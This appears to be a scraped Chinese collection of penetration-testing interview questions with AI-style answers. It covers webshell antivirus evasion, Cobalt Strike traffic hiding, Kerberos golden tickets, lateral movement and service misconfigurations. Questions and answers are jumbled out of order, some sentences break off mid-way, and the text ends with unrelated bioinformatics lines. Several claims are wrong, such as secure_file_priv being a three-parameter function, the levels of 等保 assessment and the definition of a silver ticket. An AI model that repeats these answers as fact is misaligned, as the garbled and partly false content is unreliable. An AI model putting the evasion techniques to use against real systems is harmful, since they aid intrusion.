`cdn.example.com/image.png`;4. 如果 CDN 生效,请求的响应时间应该比直接访问源站的响应时间更短,并且响应状态码应该是 200 (表示成功)或者 304 (表示资源未变化,从
缓存中读取)等。
需要注意的是,CDN 加速的效果取决于多个因素,包括 CDN 的节点分布、网络带宽、缓存策略等。因此,在测试 CDN 加速效果时,需要进行多次测试并综合考虑各种因素。Iptables 可以通过命令行工具来进行配置,需要具备一定的 Linux 系统和网络知识。 以下是一些常见的 iptables 命令:
auctor 是一个开源的 Java 应用程序,用于将数据从一个 Elasticsearch 索引复制到另一个 Elasticsearch 索引。auctor 存在一个信息泄露漏洞,攻击者可以通过发送带有特定参 数的 HTTP 请求,获取该应用程序的配置信息,包括 Elasticsearch 的地址和凭证等敏感信息。攻击者可以利用这些信息进一步攻击 Elasticsearch 或其他系统。 Elasticsearch 是 一个流行的分布式搜索和分析引擎,也存在许多安全漏洞,其中包括未授权访问漏洞。攻击者可以通过发送带有特定参数的 HTTP 请求,绕过 Elasticsearch 的身份验证机制,从 而获取或修改 Elasticsearch 中的数据。攻击者可以利用这些漏洞来执行各种攻击,例如窃取敏感数据、篡改数据、拒绝服务攻击等。
在计算机科学中,哈希(Hash)是将任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出(又叫做散列值, hash value、 hash code、 hash sum、 checksum 或 message digest)。哈希传递指的是使用哈希算法将密码进行处理,从而提高密码的安全性。通常情况下,系统不会将明文密码存储在数据库中,而 是将经过哈希处理的密码存储在数据库中。当用户输入密码时,系统首先对用户输入的密码进行哈希处理,然后与数据库中的密码进行比对,从而验证密码是否正确。哈希传递 有助于防止黑客通过窃取数据库中的密码来攻击系统。
fastjson 是一款Java语言编写的高性能的JSON处理器和解析器,由阿里巴巴公司开发和维护。它可以将 Java 对象转换成 JSON 格式的数据,也可以将 JSON 格式的数据转换成 Java 对象。fastjson 支持泛型、自定义序列化和反序列化、日期格式化等功能,并且速度快、资源消耗低,是开发高性能 Java 应用程序的首选工具之一。但 fastjson 也存在一些 安全漏洞,例如反序列化漏洞和注入漏洞等。攻击者可以通过构造特定的 JSON 数据来触发这些漏洞,从而实现远程代码执行、敏感信息泄露等攻击。为了防止 fastjson 的安全 漏洞,建议开发者使用最新版本的 fastjson,并遵循安全编码规范。同时,可以使用安全扫描工具对代码进行漏洞扫描,及时发现和修复潜在的安全问题。
在使用 netstat 命令时,可以通过参数 -p 或者 -n 与 -a 一起使用,来查看端口与进程之间的关系。其中,-p 参数可以显示与每个连接相关联的程序名和 PID。-n 参数可以禁用 DNS 反向解析,加快查询速度。-a 参数可以显示所有端口和连接,包括监听状态和非监听状态。 下面是通过 netstat 找到进程的步骤:
是的,我了解服务器和 CentOS 服务器的日志路径,以及一些免杀技术。在 CentOS 服务器中,常见的日志路径包括:1. /var/log/messages:包含了系统和服务的日志信息,包 括内核,网络,邮件和安全等方面的信息。2. /var/log/secure:包含了系统安全方面的日志信息,例如认证,授权和访问控制等信息。3. /var/log/httpd/:包含了与 Apache Web 服务器相关的日志信息,包括访问日志,错误日志和 SSL 日志等。4. /var/log/mysql/:包含了与 MySQL 数据库服务器相关的日志信息,包括慢查询日志和错误日志等。
至于免杀技术,在攻击者想要向服务器中植入恶意代码时,常常需要绕过杀毒软件或防火墙的检测,从而提高攻击成功率。一些常见的免杀技术包括:1. 加密和混淆:使用加密 算法或混淆技术,使代码难以被杀毒软件检测到。2. 反射注入:利用 Web 应用程序的漏洞,将代码注入到 Web 应用程序中,从而避免对服务器进行直接攻击。3. 命令行注入: 利用服务器上的命令执行漏洞,将恶意代码注入到命令行中执行。4. 进程注入:利用进程注入技术,将恶意代码注入到合法进程中执行,从而绕过杀毒软件的检测。 为了防止服 务器被攻击者利用免杀技术进行攻击,建议管理员采取一些措施,例如:1. 及时更新操作系统和应用程序的补丁,修复已知的漏洞。2. 安装杀毒软件和防火墙等安全软件,对服 务器进行实时保护。3. 对服务器进行加固,例如禁用不必要的服务、修改默认密码、限制远程访问等。4. 对服务器进行定期的安全审计和漏洞扫描,及时发现和修复潜在的安全 问题。
du 是 Linux 下的一个命令,用于查看目录或文件所占用的磁盘空间大小。 free 是 Linux 下的一个命令,用于显示当前系统内存使用情况,包括已用内存、空闲内存、缓存和交 换空间等信息。
df 是 Linux 下的一个命令,用于查看文件系统占用情况,包括磁盘空间总大小、已用空间、可用空间等信息。
者的区别如下:
1. iptables -L:查看当前 iptables 规则;2. iptables -F:清空当前 iptables 规则;3. iptables -A INPUT -p tcp --dport 80 -j ACCEPT:允许来自 TCP 协议、 80 端口的数据包进
入;4. iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT:允许向 TCP 协议、 80 端口发送数据包;5. iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT:允许从 eth0 接口
收到的数据包转发到 eth1 接口;6. iptables -A INPUT -s 192.168.0.1 -j DROP:禁止来自 IP 地址为 192.168.0.1 的数据包进入。 需要注意的是,iptables 配置需要谨慎操
作,否则可能会导致网络故障或安全漏洞。建议在进行 iptables 配置前,先备份当前的 iptables 规则,并根据实际需求进行规则的编写和测试。同时,可以参考一些防火墙
工具的配置模板来加速配置过程。二十四、auctor 信息泄露和 elastisearch 未授权怎么利用?能做什么?了解 hash 传递吗?说一下#
二十五、fastjson 了解多少?#
二十六、根据 netstat 怎么找到进程?#
1. 打开终端,输入命令 netstat -anp,列出当前系统上所有的 TCP/UDP 连接和监听端口,并显示与每个连接相关联的进程名和 PID。
2. 找到想要查询的端口号,并查看其状态。如果该端口处于监听状态,则说明有一个程序正在等待连接。如果该端口处于 ESTABLISHED 或者 CLOSE_WAIT 状态,则说明该端
口已经和一个远程主机建立了连接。
3. 在列表中找到该端口号所对应的行,查看 PID 列,找到与该端口相关联的进程的 PID。
4. 打开终端,输入命令 ps -ef | grep ,查看与该 PID 相关联的进程名和路径。 注意事项:
5. 端口号必须是一个整数,不能是服务名称或别名。
6. netstat 只能显示本地端口的信息,对于远程主机的端口信息无法查看。
7. 如果某个进程正在使用多个端口,那么该进程的 PID 列可能会在多个行中出现。需要根据进程名来判断这些行是否属于同一个进程。
8. 如果无法通过 netstat 找到进程的 PID,可以使用 lsof 命令来查询。二十七、是否了解服务器,CentOS 服务器的日志路径说一下免杀有没有了解过?#
二十八、du 是什么?free 是什么?df 是什么?三者的区别说一下? nat start 是什么#
1. du 是针对目录或文件的磁盘空间使用情况,free 和 df 是针对系统内存和文件系统的占用情况。如果出现 APT(高级持续性威胁)告警,需要进行以下流程:#
免杀是指使恶意软件不被杀软或安全设备发现,从而在目标系统中潜伏和执行恶意行为。上传了一个 JSP 的木马后,为了使其免杀,可以采用以下几个方法:#
目前市面上常见的 APT 解决方案厂商包括赛门铁克、卡巴斯基、McAfee、火绒等。关于 ASP 一句话木马的编写,这里不便详细说明。ASP 一句话木马是一种常见的 Webshell, 攻击者可以通过上传 Webshell 的方式,获取目标系统的控制权,进而进行各种恶意行为。这种攻击方式往往利用了 Web 应用程序的漏洞,例如文件上传漏洞、SQL 注入漏洞 等。编写 ASP 一句话木马需要具备一定的 Web 开发技能和安全意识,同时需要遵循法律法规,不得用于非法用途。
黄金白银票据(Golden/Silver Ticket)指的是攻击者通过窃取 Kerberos 的 TGT(Ticket Granting Ticket),生成伪造的 TGT,从而可以在目标域内伪装成任意用户,获取目标 系统的控制权。黄金票据指的是攻击者窃取域管理员账号的 TGT,从而可以控制整个域;银票据指的是攻击者窃取普通用户账号的 TGT,仅能控制该用户所在的域。防御黄金白 银票据攻击的方法包括强化 Kerberos 的安全性、限制域管理员权限、定期更换 Kerberos 密钥等措施。 关于域内 kebeors 认证怎么知道域控登录过这台机器,可以通过以下步骤:1. 在目标机器上执行如下命令,查看 kerberos 缓存信息:
如果该机器上曾经获取过 kerberos 认证,且域控登录过该机器,会在输出结果中看到如下信息: 其中,krbtgt/DOMAIN.NAME 是域控的 TGT,如果在输出结果中看到该信息,说明域控登录过该机器。 需要注意的是,如果攻击者窃取了管理员账号的 TGT,可以在任意机器上登录域控,而不一定局限于某台特定的机器。因此,仅凭 Kerberos 缓存信息无法判断域控是否登录过 某台机器,需要结合其他安全日志进行分析。
1.DNS 隐藏:将恶意流量伪装成 DNS 流量,使其不被检测到。#
2.HTTP 隐藏:将恶意流量伪装成正常的 HTTP 流量,例如将恶意代码放在正常的 HTTP 报文中,使用随机的 User-Agent 和 Referer 等字段,使其不被杀软或防火墙检测到。
3.使用加密协议:使用加密协议,例如 SSL/TLS,将恶意流量加密传输,使其难以被检测到。
4.使用隧道协议:使用隧道协议,例如 SSH、VPN 等,将恶意流量通过隧道传输,使其难以被检测到。
5.使用代理:通过使用代理服务器,将恶意流量转发到目标系统,使其难以被追踪到攻击者的真实 IP 地址。
2. du 可以查看指定目录或文件的磁盘空间占用情况,而 free 只能查看系统整体内存使用情况,df 只能查看文件系统的占用情况。
3. du 和 df 的输出结果单位是字节或者以字节为基础的单位,而 free 的输出结果单位是 KB。
nat start 是什么我不是很清楚,可能是指网络地址转换(NAT)服务的启动命令。NAT 是一种网络地址转换技术,用于将一个 IP 地址转换为另一个 IP 地址,通常用于连接
私有网络和公共网络,实现多个主机共享同一个公网 IP 地址。二十九、假设个场景,APT 有告警,你要做的一个流程是什么?说一下 Ips 与 ids 的区别?#
1. 确认告警的可信度:检查告警来源,确认告警是否真实可信,同时进行初步的威胁分析。#
2. 确认受影响的系统:检查告警涉及的主机、网络设备或应用程序,确认哪些系统受到了威胁。#
3. 隔离受影响的系统:对受到威胁的系统进行隔离,避免攻击者进一步入侵或数据泄漏。#
4. 进行深入的威胁分析:对受影响的系统进行深入的威胁分析,确认攻击者的攻击手段、攻击目的和攻击方式等信息。#
5. 制定应急响应计划:制定应急响应计划,包括修复受影响的系统、恢复数据、提高安全等级等措施。#
6. 维护安全态势:通过持续的监控和漏洞修复,维护系统的安全态势,避免类似事件再次发生。 Ips 和 ids 都是网络安全领域中常用的安全设备,它们的区别如下:
7. 功能不同:Ips 的主要功能是主动防御,可以实时检测和阻止网络攻击,例如入侵、漏洞利用、恶意代码等,保护网络安全;Ids 的主要功能是被动检测,主要用于监测网络
流量,发现异常情况并提供警报,例如扫描、流量异常、协议异常等。
8. 工作原理不同:Ips 通过检测网络流量中的攻击特征,识别攻击并阻止其流入网络;Ids 则是通过对网络流量进行监听和分析,发现网络异常或攻击行为,提供实时警报。
9. 部署位置不同:Ips 通常部署在网络边缘,作为网络入侵的第一道防线;Ids 则可以部署在核心网络、服务器、终端等位置,用于实时监测网络流量。
10. 处理方式不同:Ips 可以主动阻止攻击,维护网络的安全;Ids 则更侧重于提供实时警报,告知管理员发现的异常行为,需要管理员进行进一步的处理和分析。三十、上传了一个 jsp 的木马,你怎么去做免杀?社工 apt 实际利用过吗?说一下思路#
1. 修改恶意代码:通过修改恶意代码,使其不被杀软或安全设备所识别。例如,修改恶意代码中的字符串、变量名、函数名等,使其不被杀软识别。#
2. 加密或混淆恶意代码:通过加密或混淆恶意代码,使其难以被杀软或安全设备检测。例如,将恶意代码进行 Base64 编码、加密或使用混淆器进行混淆等。
3. 利用漏洞:利用目标系统上的漏洞,使其绕过杀软或安全设备的防御。例如,利用系统漏洞或杀软漏洞,将恶意代码注入进程中,绕过杀软的检测。
4. 利用免杀工具:使用免杀工具生成免杀的恶意代码,使其不被杀软或安全设备检测到。关于社工 APT 的实际利用,社交工程是一种非常有效的攻击手段,可以通过社交工程手段获取目标系统的敏感信息,例如账号密码、网络拓扑、系统环境等,为后续的攻击#
提供支持。APT 攻击者通常会利用社交工程手段获取系统管理员或业务人员的登录账号密码,然后利用这些账号密码进行进一步的攻击,例如上传木马、执行远程命令等,#
最终达到窃取敏感信息或破坏系统的目的。APT 攻击者的社交工程手段通常包括钓鱼邮件、伪装成可信的信息来源、利用社交网络等。#
三十一、用过哪些厂商的 APT? asp 一句话木马怎么写?#
三十二、说一下黄金白银票据,域内 kebeors 认证怎么知道域控登录过这台机器?#
三十三、说一下 5 种 cs 流量隐藏方式说一下 swagger 未授权利用 oa 系统了解哪些?#
Swagger 是一种广泛应用于 RESTful API 的开源软件,可以帮助开发人员设计、构建、文档化和测试 API。如果未对 Swagger 进行安全配置,攻击者可以利用 Swagger 接口的未 授权访问漏洞,获取敏感信息、上传恶意文件等,对系统进行攻击。OA 系统是一种常见的企业信息化系统,其中包含大量的敏感信息,如果攻击者能够利用 Swagger 接口的未 授权访问漏洞,可以获取到系统中的一些敏感信息,例如账号密码、文件路径等,从而为后续的攻击提供支持。如果攻击者能够获取到系统管理员的账号密码,可以利用这些账 号密码进行进一步攻击,例如上传木马、执行远程命令等,最终达到窃取敏感信息或破坏系统的目的。
DHCP (Dynamic Host Configuration Protocol) 是一种自动分配 IP 地址的协议,旨在简化网络管理和配置。DHCP 服务器可以为同一子网内的主机自动分配 IP 地址,也可以为 不同子网内的主机分配 IP 地址。在同一子网内,DHCP 服务器通过广播方式向局域网内的所有主机发送 DHCP 报文,主机接收到广播后,会向 DHCP 服务器请求 IP 地址。 DHCP 服务器收到请求后,会为主机分配一个可用的 IP 地址,并发送 DHCP 报文告知主机。在不同子网内,DHCP 服务器需要配置 DHCP Relay 代理,将 DHCP 报文转发到不同 子网内的 DHCP 服务器,从而为主机分配 IP 地址。
DNS 解析历史记录是指 DNS 服务器在解析域名时,将解析结果缓存下来,以便在下一次解析相同域名时,可以直接从缓存中获取解析结果,提高解析速度。DNS 解析历史记录#
通常包含两种类型:本地解析历史和远程解析历史。本地解析历史是指本地计算机上保存的 DNS 解析历史记录,可以通过清除浏览器缓存等方式进行清除。而远程解析历史则保#
存在 DNS 服务器上,通常由 DNS 服务器自动管理,用户无法直接清除。DNS 解析历史记录可能会泄漏用户的浏览历史、网站访问记录等敏感信息,因此在保护个人隐私方面需#
要引起足够的重视。#
在payload(10.1.1.1:5620/hello/; /admin)中,分号(;)的作用是将这个payload分割成两个不同的部分,分别是"10.1.1.1:5620/hello/“和”/admin”。这个payload可能是 某种攻击方法中使用的,具体作用需要看具体的攻击方式和目标系统进行分析。
关于curl,它是一个命令行工具,用于发送和接收HTTP请求和响应。它支持多种协议,包括HTTP、HTTPS、FTP等,并且可以使用各种身份验证方式。使用curl可以模拟浏览器 发送HTTP请求,获取网页内容、文件等,也可以进行POST请求、文件上传等操作。由于curl命令行简单易用,因此在渗透测试和安全评估中经常被用作工具之一。
判断一个网站是否使用了S2框架,可以通过以下几种方式:#
在img标签中,onerror属性是一个常用的获取管理员路径的方式,攻击者可以通过构造一个错误的图片路径,来使得onerror事件被触发,从而获取管理员路径等敏感信息。除 了onerror属性外,还有其他一些获取管理员路径的方式,例如:1. 利用img标签的src属性:攻击者可以通过构造一个包含管理员路径的图片地址,来获取管理员路径等敏感信 息。2. 利用img标签的alt属性:攻击者可以构造一个包含管理员路径的图片地址,并在alt属性中嵌入一些HTML和JavaScript代码,从而获取管理员路径等敏感信息。3. 利用img 标签的title属性:攻击者可以构造一个包含管理员路径的图片地址,并在title属性中嵌入一些HTML和JavaScript代码,从而获取管理员路径等敏感信息。需要注意的是,这些攻 击方式都是基于对img标签的输入验证不严格,攻击者可以通过构造恶意的img标签来进行攻击。为了防止此类攻击,网站开发人员应该对用户输入进行严格的验证和过滤,避免 恶意代码的注入。
Eval()函数和assert()函数的区别在于,Eval()函数会执行任何被传递给它的字符串,而assert()函数只会在条件为false时才会抛出一个错误,在代码中常用于调试和错误处理。
一句话木马(One Line Shell)通常是使用Eval()函数编写的,因为它可以将任何字符串转换为可执行的代码。攻击者可以通过将一段命令代码嵌入到一句话木马中,然后将其上 传到受害者的服务器上,从而获得对服务器的完全控制。
三十四、dhcp 同网段和不同网段如何下发地址?说一下 DNS 解析历史记录#
三十五、payload(10.1.1.1:5620/hello/; /admin )中 分号(;)的作用?有没有用过 curl?#
三十六、怎么判断一个网站使用了 s2 框架;利用 whois 可以做什么?#
1. 查看网站的源代码,如果发现有S2框架的相关代码,则可以判断网站使用了S2框架。#
2. 使用S2-045漏洞扫描工具对网站进行扫描,如果工具提示该网站存在S2-045漏洞,则可以判断该网站使用了S2框架。#
3. 使用Fofa等搜索引擎,搜索网站的指纹信息,如果搜索结果中包含S2框架的相关信息,则可以判断该网站使用了S2框架。利用whois可以查询域名的注册信息,包括域名的所有者、注册时间、过期时间、DNS服务器等信息。通过whois查询,可以了解一个域名的基本情况,例如域名的注册
人、注册公司和注册时间等,对于一些域名的信息收集和风险评估有一定的帮助。在渗透测试中,whois信息可以作为一个辅助信息来源,有助于帮助测试人员了解目标公
司的基本情况和网络架构。例如,通过查询whois信息可以了解到目标公司的主要业务、注册公司的联系方式、DNS服务器的IP地址等信息,这些信息可以为渗透测试提供
指导和支持。三十七、img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?#
三十八、Eval()函数和 assert()函数的区别?一句话木马是用什么函数写的?#
secure_file_priv函数的三个参数是 host, user 和 path,分别表示主机名、用户名和文件路径。这个函数用于限制MySQL服务器读取和写入文件的安全级别。其中,host和user 指定了哪个用户在哪个主机上可以访问指定的文件路径,path则指定了文件的路径。如果secure_file_priv函数的结果为空,表示MySQL服务器没有限制对文件的读取和写入操 作。
预编译查询(Prepared Statement)是一种SQL查询优化技术,它将SQL查询语句和参数分开处理,先将查询语句编译成字节码,然后再将参数与字节码合并,生成一个可执行 的查询语句。这种技术可以提高查询的效率和安全性,避免SQL注入攻击等安全问题。 预编译查询的原理是,首先将SQL语句中的变量部分替换成占位符(通常是问号 ?),然后 将整个SQL语句提交给数据库进行编译。编译完成后,数据库会将编译结果缓存起来,等待客户端提交参数时再将参数与编译结果合并,生成可执行的查询语句。这种方法可以 避免SQL注入攻击,因为参数值会被自动转义,保证不会影响查询的正确性和安全性。同时,预编译查询也可以提高查询的效率,因为编译结果可以被多次重复使用,减少了重 复编译的开销。
同源策略(Same-Origin Policy)是一种安全策略,用于限制一个网页文档或脚本如何与来自不同源(通常指域名、协议或端口)的资源进行交互。同源策略的作用是保护用户的 隐私和安全,防止恶意网站通过跨域攻击(如CSRF、XSS、点击劫持等)窃取用户的敏感信息或发起攻击。同源策略通常由浏览器实现,它通过限制跨域访问来保护用户的安 全。
等保测评是指根据《中华人民共和国网络安全法》和《信息安全等级保护管理办法》的要求,对企业信息系统的安全等级进行评估和认证。等保测评分为1-3级,其中 1 级为最低#
等级, 3 级为最高等级。等保测评的目的是提高企业信息系统的安全性和可靠性,保护企业的核心业务和数据资产不受攻击和泄露。 等保测评的评估内容包括安全管理、网络安#
全、系统安全、应用安全和数据安全等五个方面。评估过程中,评估人员会对企业的信息系统进行全面的安全检查和测试,包括现场检查、安全漏洞扫描、安全分析、渗透测试#
等,从而评估企业信息系统的安全等级。等保测评是企业信息安全管理的重要组成部分,对企业的安全运营和业务发展具有重要意义。#
机械核查和机械访谈是信息安全等级保护测评中的两个重要部分。#
机械核查指的是通过自动化工具对企业信息系统进行安全漏洞扫描、弱口令检测、系统配置审核等,以发现潜在的安全风险和漏洞。机械核查是等保测评的基础工作之一,通过#
机械化的方式进行,可以有效地节省人力和时间成本,提高测评的效率和准确性。#
机械访谈指的是通过面谈、问卷调查等方式对企业的安全管理制度、安全技术措施、安全应急响应能力等方面进行评估。机械访谈是等保测评中的重要部分,通过采集企业的安#
全管理信息和实践经验,评估企业的安全管理水平和安全风险。#
机械核查和机械访谈是等保测评的两个重要部分,它们相互协作,形成了全面的测评体系,可以评估企业的信息系统安全等级,发现安全风险和漏洞,提出安全改进建议和措#
施,帮助企业提高信息安全保障能力。#
横向移动(Lateral Movement)是指攻击者在进入一个受害者的网络系统后,通过获取其他系统的凭证或利用已知的漏洞,以在网络内部进行侧向攻击,最终获取更高的权限和 控制权。攻击者可以使用多种方式进行横向移动,具体的方式包括: 1.使用已知凭证: 攻击者可能会使用已知的用户名和密码获取其他系统的访问权限。2.利用弱口令:攻击者可 能会使用弱口令或默认凭证来获取其他系统的访问权限。3.利用漏洞:攻击者可能会利用已知或未知的漏洞来获取其他系统的访问权限。4.中间人攻击:攻击者可能会通过中间人 攻击来获取其他系统的访问权限。5.利用后门:攻击者可能会利用已知或未知的后门来获取其他系统的访问权限。
黄金票据(Golden Ticket)是指攻击者通过获取域控制器的 KRBTGT 账户的 NTLM 密码哈希值,生成 TGT 票据,从而获得永久的域管理员权限。黄金票据是一种非常危险的攻 击方式,可以完全绕过域控制器的身份验证,获取对整个域的控制权。
我对网络协议和数据库有一定的了解。网络协议是计算机网络中用于通信和数据交换的规则和标准,例如TCP/IP、HTTP、FTP等等。数据库是存储和管理数据的软件系统,例如#
MySQL、Oracle、SQL Server等等。我了解这些协议和系统的基本原理和功能,以及它们在信息安全中的应用和风险。
是的,我有接触过域环境。在企业网络中,域环境是指一个集中管理和控制网络资源和用户的安全边界。域环境通常由域控制器、域名系统、安全策略和权限控制等组成,可以#
实现用户认证、授权、集中管理和安全审计等功能。域环境的优点是可以提高网络的安全性、可靠性和可管理性,适用于中大型企业网络。但是,域环境也存在一些风险和安全#
隐患,例如域管理员权限滥用、域控制器攻击、域用户密码泄露等问题,需要进行安全管理和风险评估。#
请求转发(Forward)和请求重定向(Redirect)都是Web服务器处理客户端请求时常见的两种技术,它们有以下区别:
三十九、secure_file_priv 函数的三个参数是什么,分别有什么含义?说一下预编译查询的原理#
四十、同源策略的作用是什么?了解等保测评级别吗?#
四十一、什么是机械核查,机械访谈?#
四十二、怎么横向移动?说说具体方式?知道黄金票据吗?对网络协议和数据库了解到什么程度?#
四十三、域环境有接触过吗#
四十四、说一下请求转发和请求重定向区别#
1. 转发是在服务器内部完成的,客户端并不知道;重定向是在客户端浏览器上完成的,客户端会看到地址栏的URL发生了变化。#
抓到的包长度相同,一般情况下可以通过数据包分析找到我们需要的关键字。数据包分析是指通过对网络数据包的捕获、过滤、分析和解码,获取网络通信中的各种信息。数据#
包分析可以帮助我们查找网络问题、发现安全事件、优化网络性能等。 对于这种情况,可以通过以下步骤找到关键字:1. 使用抓包工具将数据包捕获下来,例如Wireshark等。
- 对捕获的数据包进行过滤,将不需要的数据包过滤掉,只保留关注的数据包。可以使用过滤器语言,例如Wireshark中的过滤器语言。3. 对过滤后的数据包进行分析,查找关 键字。可以使用Wireshark中的搜索功能,输入关键字进行搜索,也可以手动浏览数据包,找到关键字所在的位置。4. 对找到的关键字进行分析和解释,判断是否存在问题或者 安全事件。 需要注意的是,对于一些加密的通信或者使用了HTTPS等安全协议的通信,数据包分析的效果会受到很大的限制。此时,需要使用其他的技术和工具进行分析。
判断一个数据包是否恶意的方法有很多,通常需要综合考虑以下几个方面:1. 源地址和目标地址是否合法:检查源地址和目标地址是否在合法范围内,是否存在异常。2. 协议和#
端口是否合法:检查协议和端口是否与应用程序匹配,是否存在异常。3. 数据包的长度和数据内容是否合法:检查数据包的长度和数据内容是否符合协议规范,是否存在异常。#
4. 数据包的频率和数量是否异常:检查数据包的发送频率和数量是否超过正常范围,是否存在异常。5. 恶意软件特征:检查数据包中是否存在恶意软件的特征,例如病毒、木#
马、僵尸网络等。6. 威胁情报:使用威胁情报数据进行分析,查看数据包是否与已知的恶意行为相关。综合考虑以上几个方面,可以初步判断一个数据包是否恶意。#
我没有直接做流量检测的项目经验,但是在某些安全项目中,也需要对网络流量进行检测和分析,例如入侵检测、威胁情报分析等。在这些项目中,我主要使用了一些开源的流#
量分析工具,例如Suricata、Snort、Zeek等,结合威胁情报数据和自定义规则,进行流量检测和分析。
系统的内核是操作系统最核心的部分,用于管理计算机硬件资源,提供系统调用接口和进程管理等功能。内核的加载是指将内核代码和数据从磁盘读取到内存中,并在系统启动#
时运行内核代码的过程。内核的加载过程通常包括以下几个步骤:#
漏洞分享是安全圈中常见的一种交流方式,可以帮助大家更好地理解漏洞原理和修复方法。在分享漏洞时,需要注意以下几点:1. 遵循道德规范:分享漏洞时必须遵循道德规#
范,不得用于非法用途或者攻击他人。2. 尊重漏洞厂商:在公开漏洞之前,应该先向漏洞厂商报告漏洞,等待漏洞修复后再公开。3. 不泄露保密信息:在分享漏洞时,需要注意#
不要泄露保密信息,例如用户个人信息、加密算法等。4. 注意法律风险:分享漏洞时需要注意法律风险,不得违反相关法律规定。在分享漏洞时,需要保持适当的谨慎和敏感#
性,确保不泄露敏感信息或者带来不必要的风险。同时,也需要负责任地分享漏洞,确保漏洞能够得到有效的修复和管理。#
至于新型漏洞靶场搭建,这是一项非常有意义的工作,可以帮助大家更好地学习和练习漏洞攻击和防御。在搭建漏洞靶场时,需要注意以下几点:1. 合法用途:漏洞靶场应该用#
于合法用途,不得用于非法攻击或者侵犯他人隐私等行为。2. 安全性保障:漏洞靶场需要充分考虑安全性保障,例如防止攻击者盗取数据或者攻击其他网站等行为。3. 有效管#
理:漏洞靶场需要进行有效的管理和监控,确保漏洞不被恶意利用或者泄露。4. 遵循道德规范:在搭建漏洞靶场时,需要遵循道德规范,不得用于非法用途或者攻击他人。搭建#
漏洞靶场需要投入很多精力和资源,需要充分考虑各种风险和安全性问题。如果您有相关需求,可以考虑寻求专业的安全团队或者机构的帮助。#
失效的访问控制实战中的方式主要有以下几种:1. 针对用户的访问控制:对于已删除的用户或者账户,需要及时禁用或删除其访问权限,避免被攻击者利用。2. 针对权限的访问#
控制:需要对系统的访问权限进行有效的管理和控制,确保用户只能访问其需要访问的资源。3. 定期审计:定期对系统的访问记录进行审计,发现异常访问行为并及时处理。4.#
强密码策略:强制用户使用强密码,并定期更新密码,避免密码被猜测或者盗用。5. 多因素认证:使用多因素认证方式,提高系统的安全性和可靠性。#
泛洪攻击(Flood Attack)是一种常见的网络攻击方式,攻击者通过向目标主机发送大量的无效数据包或请求,导致目标主机过载,无法正常处理合法的请求,从而造成拒绝服 务(DoS)攻击。泛洪攻击通常分为以下几类:1. ICMP泛洪攻击:攻击者向目标主机发送大量的ICMP数据包,导致目标主机过载。2. UDP泛洪攻击:攻击者向目标主机发送大 量的UDP数据包,导致目标主机过载。3. TCP SYN泛洪攻击:攻击者向目标主机发送大量的TCP SYN数据包,导致目标主机的TCP连接队列溢出。4. HTTP泛洪攻击:攻击者向目 标主机发送大量的HTTP请求,导致目标主机过载。 泛洪攻击是一种常见的攻击方式,可以通过限制访问速度、增加网络带宽、使用防火墙等技术手段进行防御。此外,还可以使
2. 转发是服务器直接将请求转发给另一个资源进行处理,转发的过程只有一次请求和响应;重定向是在客户端浏览器上重新发起一个新的请求,需要两次请求和响应。#
3. 转发可以访问转发前的请求中的数据,包括请求参数和属性等;重定向不能访问转发前的请求中的数据,需要通过URL参数传递。#
4. 转发速度比重定向快,因为转发只是在服务器内部进行,不需要重新发起请求;重定向需要重新发起请求,因此速度较慢。 总之,请求转发和请求重定向都有各自的优点和#
适用场景,需要根据具体情况进行选择。如果需要访问转发前的数据或者在同一应用程序内部进行跳转,可以选择请求转发;如果需要在不同的应用程序之间进行跳转或者#
进行页面重定向,可以选择请求重定向。#
四十五、他给我一个什么场景,然后抓到的包,长度什么的都一样,问怎么去找到我们需要的关键#
字?数据包分析了解吗?#
四十六、给一个数据包,怎么判断是否是恶意的?有没有做过流量检测类的项目?#
四十七、说一下系统的内核加载和原理#
1. BIOS自检:计算机启动时,首先由计算机的基本输入输出系统(BIOS)进行硬件自检,检查硬件设备是否正常。#
2. 引导程序加载:BIOS会从预设的启动设备(通常是硬盘)中读取引导程序,将其加载到内存地址0x7c00处。
3. 引导程序执行:引导程序通常是操作系统的一部分,其作用是加载操作系统内核到内存中,并启动内核执行。
4. 内核加载:引导程序会读取内核文件系统中的内核文件,将其读取到内存中,并按照内核文件头中指定的入口地址开始执行内核代码。
5. 内核初始化:内核开始初始化硬件设备、内存管理、进程管理等系统资源,并将控制权交给用户空间。 内核的加载原理是通过BIOS和引导程序来完成的。BIOS负责计算机
硬件的初始化和自检,引导程序负责从硬盘中读取内核文件,并将内核加载到内存中。内核加载过程中需要进行地址映射和内存管理等操作,以确保内核可以正常运行。在
加载完成后,内核会初始化系统资源并将控制权交给用户空间。四十八、怎么做漏洞分享,哪些内容是要保密的?会不会新型漏洞靶场搭建?#
四十九、失效的访问控制实战中的方式是?泛洪攻击是什么?#
用流量清洗等服务来过滤无效流量和恶意流量。#
权限维持和权限提升是渗透测试和攻击中非常重要的一环,以下是一些常见的方法及原理:#
同源策略(Same-Origin Policy)是浏览器安全机制的一部分,它是一种限制脚本在一个源(协议、主机名、端口号)下运行访问另一个源的内容和数据的安全策略。同源策略主 要是为了保护用户的隐私和安全,防止恶意脚本窃取用户的敏感信息。同源策略有四个要素,包括:
正向代理和反向代理是两种不同的代理服务器模式。正向代理是代理客户端,代理客户端向服务器发送请求,服务器无法知道请求的真实来源,只知道请求来自代理服务器。反#
向代理是代理服务器,代理服务器接收客户端的请求,并将请求代理到真正的服务器上,服务器无法知道请求的真实来源,只知道请求来自代理服务器。 正向代理和反向代理的#
关系是:正向代理代理客户端,反向代理代理服务器。举个例子,当用户需要访问某个网站时,如果使用正向代理,用户的请求会先发送给代理服务器,代理服务器向目标服务#
器发送请求,获取到响应后再转发给用户。如果使用反向代理,用户的请求会先发送给代理服务器,代理服务器会将请求转发给目标服务器,获取到响应后再返回给用户。#
当拿到一个图片时,可以使用一些工具来对图片进行分析,例如exiftool、stegsolve等。exiftool可用于查看图片的元数据信息,stegsolve可用于查看图片的隐写信息。如果怀疑 图片中存在隐写信息,可以使用steghide、OutGuess等工具进行提取或者破解。
在CTF比赛中,我比较擅长密码学、Web安全和二进制漏洞等领域。
是的,PHP可以用来开发网页和项目。PHP是一种服务器端脚本语言,可以用于处理表单数据、动态生成网页内容、访问数据库等任务。#
为了把时间放在更有意义的事情上#
生信人每天会做大量的重复的操作,例如一个流程会用不同的参数跑好几遍找合适的参数,不断把一个格式的数据转换成另一种格式。#
